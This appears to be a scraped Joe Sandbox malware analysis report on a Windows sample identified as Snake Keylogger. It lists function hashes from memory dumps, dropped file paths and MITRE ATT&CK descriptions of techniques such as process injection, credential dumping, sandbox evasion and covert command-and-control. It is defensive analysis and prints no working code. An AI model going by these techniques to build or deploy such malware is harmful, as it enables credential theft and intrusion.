Snapshot File: hcaresult_3_2_32d40000_________.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54ed340099b91eb1522ecf18fa5f6e5213494274487e1ca952d5d8641e7189e5
Instruction ID: c5e42e8d25661934b4d74d3b005c87a156fcb0d5e737a768ff41a1a68b46c8df
Opcode Fuzzy Hash: 54ed340099b91eb1522ecf18fa5f6e5213494274487e1ca952d5d8641e7189e5
Instruction Fuzzy Hash: 27C1A174E01218CFEB14DFA9C954B9DBBB2BF89300F6081A9D809AB365DB355E85CF50

Function 32D4DC10 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3975729252.0000000032D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 32D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d40000_________.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dcfa7bcf509130c410c20e076a421cbee28403be5888275cbd3e134dbb6f9182
Instruction ID: 24eb084cce7b61eccdae5466a791dd5c00a38287383c9a25b2cf3d462db42c5f
Opcode Fuzzy Hash: dcfa7bcf509130c410c20e076a421cbee28403be5888275cbd3e134dbb6f9182
Instruction Fuzzy Hash: 03C1A174E01218CFDB14DFA9C954B9DBBB2BF89300F6081A9D819AB365DB355E81CF50

Function 32D4F1C8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3975729252.0000000032D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 32D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d40000_________.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e854fa912d63989d4a83d73bbe9e8593e3342b440636fa972e84a4b539ac50fd
Instruction ID: 4f655e0b4a88a10fb39a3c68c26573f0dcb27fc2414220b78ca8b122abc51e9f
Opcode Fuzzy Hash: e854fa912d63989d4a83d73bbe9e8593e3342b440636fa972e84a4b539ac50fd
Instruction Fuzzy Hash: 30C1A275E01218CFDB14DFA5C994BADBBB2BF89300F6081A9D809AB365DB355E81CF50

Function 32D4ED70 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3975729252.0000000032D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 32D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d40000_________.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2c0c029c6afa690dd0dc7eb67400be2e1c3309fcc6394316d1eeddaf24b9a33
Instruction ID: a0970716d17eac5653351807940eff7cc1e6f8cffd1d641c08ce9517dd5a92cd
Opcode Fuzzy Hash: c2c0c029c6afa690dd0dc7eb67400be2e1c3309fcc6394316d1eeddaf24b9a33
Instruction Fuzzy Hash: E5C1A174E01218CFEB14DFA9C954B9DBBB2BF89300F6081A9D819AB365DB355E81CF50

Function 32D4E918 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3975729252.0000000032D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 32D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d40000_________.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee131421cc2d2e7c9b1a6d5997874145c7a28b2aa378c42caf54844d04eb690b
Instruction ID: 9afa1ea992dca74519bab4e3efa6ad8c60af4a3a22dce1fbe14d0d45effd9828
Opcode Fuzzy Hash: ee131421cc2d2e7c9b1a6d5997874145c7a28b2aa378c42caf54844d04eb690b
Instruction Fuzzy Hash: 5AC1A074E01218CFDB14DFA9C954B9DBBB2BF89304F6081A9D809AB365DB355E81CF50

Function 0015F804 Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3952693567.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_________.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e7fee0f72bbae34c42bb5794830ec0680166fe16a0feed1aeff42f0b1614e6a
Instruction ID: cc49bb553eee4fc978b03243d5ccb37d00f25bc34899665ad0f245b87066955d
Opcode Fuzzy Hash: 7e7fee0f72bbae34c42bb5794830ec0680166fe16a0feed1aeff42f0b1614e6a
Instruction Fuzzy Hash: 72C1C174E01218CFDB14DFA9C994B9DBBB2BF89301F2080A9D819AB365DB355E85CF50

Function 35E9308D Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3978381801.0000000035E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 35E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35e90000_________.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1f266334d2d9a74378d6a5200d10a5d5bb5336db29327b8b4c5641768adee7e
Instruction ID: b3b422bfa957c229349bd937042ee6046bbdd4a7183e8fac4aa37bf2cc0b7036
Opcode Fuzzy Hash: f1f266334d2d9a74378d6a5200d10a5d5bb5336db29327b8b4c5641768adee7e
Instruction Fuzzy Hash: F6B19174E01218CFDB54DFA8C994B9DBBB2BF49300F6091A9D809AB365DB359E81CF50

Function 360B0A10 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3978620236.00000000360B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 360B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360b0000_________.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14571cc7032d0863cef2e9d6f4aecfe65b58404645de3e967aed0a610da2fc11
Instruction ID: a2f62148d75169aaef561f221d21e6147d5a7500595f522890326c3b5fc329a1
Opcode Fuzzy Hash: 14571cc7032d0863cef2e9d6f4aecfe65b58404645de3e967aed0a610da2fc11
Instruction Fuzzy Hash: 8DB17674E10218CFDB54DFA9D994A9DBBB2FF89310F2081A9D819AB365DB30AD41CF50

Function 0015F3B8 Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3952693567.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_________.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d29e4a2d657dceac4bb4c78bc7c4ff43dd7a8b7a0dd1623e8a8a6730c6e69182
Instruction ID: aac435017ac7cb9edec11de142f8b5bb61f86d6043dbbb93576fc257c5f84024
Opcode Fuzzy Hash: d29e4a2d657dceac4bb4c78bc7c4ff43dd7a8b7a0dd1623e8a8a6730c6e69182
Instruction Fuzzy Hash: 63512674D01208CFDB14DFA8C8947EDBBB2BB49302F608129E825BB295D775998ACF54

Function 0015F150 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3952693567.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_________.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af07066506843eeb32a84d500ee8e1555c853e39f98aed68c5f976308790d96f
Instruction ID: 0fb4c90a780bb9b809ef8df97a22d8a455e6513338cd7685274d98ff43334393
Opcode Fuzzy Hash: af07066506843eeb32a84d500ee8e1555c853e39f98aed68c5f976308790d96f
Instruction Fuzzy Hash: A4514870D00208CFDB08DFA9C4947EDBBF2BB89302F648129D824BB294D775998ACF54

Function 360B09E1 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3978620236.00000000360B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 360B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360b0000_________.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 353815e867d62e79318283b976fe576d955e97760c3e5209a45f8d4931cc4447
Instruction ID: 6a6c09c5f6057abd94cd8f528870b3c8b49c3b52a5cc5daffcedfd53c54eb945
Opcode Fuzzy Hash: 353815e867d62e79318283b976fe576d955e97760c3e5209a45f8d4931cc4447
Instruction Fuzzy Hash: 5251B274E046488FDB04CFAAD584A9DBFF2AF89310F2481AAD405AB365DB30A942CF11

Function 0015F33C Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3952693567.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_________.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd6b5eff8f1029fe05a3ebb4433b3afe3aa3d3e4f1a3ea91487c4bb77babd817
Instruction ID: 1cf393d3a37ce7ca6c897a8d9dbc35af37c9fc1eaf27778dc2062ea5b2331f7f
Opcode Fuzzy Hash: dd6b5eff8f1029fe05a3ebb4433b3afe3aa3d3e4f1a3ea91487c4bb77babd817
Instruction Fuzzy Hash: 8C51F474D01208CFDB14DFA8C4947EDBBB2FB49306F608129E825BB294D775998ACF54

Function 35E9ACBC Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3978381801.0000000035E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 35E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35e90000_________.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c40101e2d4f3cf4c96bb7c1449e5f6064c56798dc3da969010f0888755261625
Instruction ID: 8dba75fb26fcc822e05582e633df4c5b8739bf7d91b6bb0eeb053f89b21d6784
Opcode Fuzzy Hash: c40101e2d4f3cf4c96bb7c1449e5f6064c56798dc3da969010f0888755261625
Instruction Fuzzy Hash: 6831BEB8D122199FDB04CFA4C194BAEBBF1AF89304F148499E400B7390D7399A40CF94

Function 360B0D26 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3978620236.00000000360B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 360B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360b0000_________.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46ba92de0faedd9d0c1ffac8834db866d212b3b1a67186990cc8ef821c834568
Instruction ID: 7b4fa1d00494d0c8f4c0b13f257bd1e20d8f0a53286a23547a64716b085e1682
Opcode Fuzzy Hash: 46ba92de0faedd9d0c1ffac8834db866d212b3b1a67186990cc8ef821c834568
Instruction Fuzzy Hash: 64D09E34D1436CCBDF10DFA4E8513ADB772BB96315F0025E5941CBB200D7309E548E56

Function 00151A18 Relevance: 5.1, Strings: 4, Instructions: 119COMMON

Download Yara Rule

Strings

F, xrefs: 00151B10
F, xrefs: 00151B47
F, xrefs: 00151B64
F, xrefs: 00151A47

Memory Dump Source

Source File: 00000003.00000002.3952693567.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_________.jbxd

Similarity

API ID:
String ID: F$F$F$F
API String ID: 0-1844600021
Opcode ID: e41360ef40c7606c43d4eb20b803b4d57889b99336551432e042db34ec2c3927
Instruction ID: 328fea65488f195361ac19e982e7a01a9f9d7e938609610df2e0d742959e0db7
Opcode Fuzzy Hash: e41360ef40c7606c43d4eb20b803b4d57889b99336551432e042db34ec2c3927
Instruction Fuzzy Hash: 9E41AF74A00349DFDB06EFB8C4417AEBBB2EF86304F1045A9D450AB252DB715D05CB91

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ________.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\nsaD101.tmp

C:\Users\user\AppData\Local\Temp\nshD4CB.tmp\System.dll

C:\Users\user\AppData\Local\foreslaaende\Kedlernes.vid

C:\Users\user\AppData\Local\foreslaaende\Kontaktformidlingens.unm

C:\Users\user\AppData\Local\foreslaaende\Necrotize.txt

C:\Users\user\AppData\Local\foreslaaende\Reconsecrate35.Ung

C:\Users\user\AppData\Local\foreslaaende\Sluggardliness\spelts.tru

C:\Users\user\AppData\Local\foreslaaende\ensisternum.myx

C:\Users\user\AppData\Local\foreslaaende\mntende.spi

Static File Info

General

File Icon

Windows Analysis Report
________.exe

Function 0040335A Relevance: 75.6, APIs: 27, Strings: 16, Instructions: 335
stringfilecomCOMMON

Function 00404B10 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Function 00405F0C Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 207
stringCOMMON

Function 00405772 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Function 004038B4 Relevance: 49.2, APIs: 15, Strings: 13, Instructions: 216
stringregistrylibraryCOMMON

Function 00403C57 Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Function 00402DBC Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 203
memoryCOMMON

Function 00401752 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Function 0040317D Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 108
fileCOMMON

Function 00402331 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Function 004015B9 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57
COMMON

Function 10001771 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Function 00403062 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95
fileCOMMON

Function 00405DB7 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45
registryCOMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre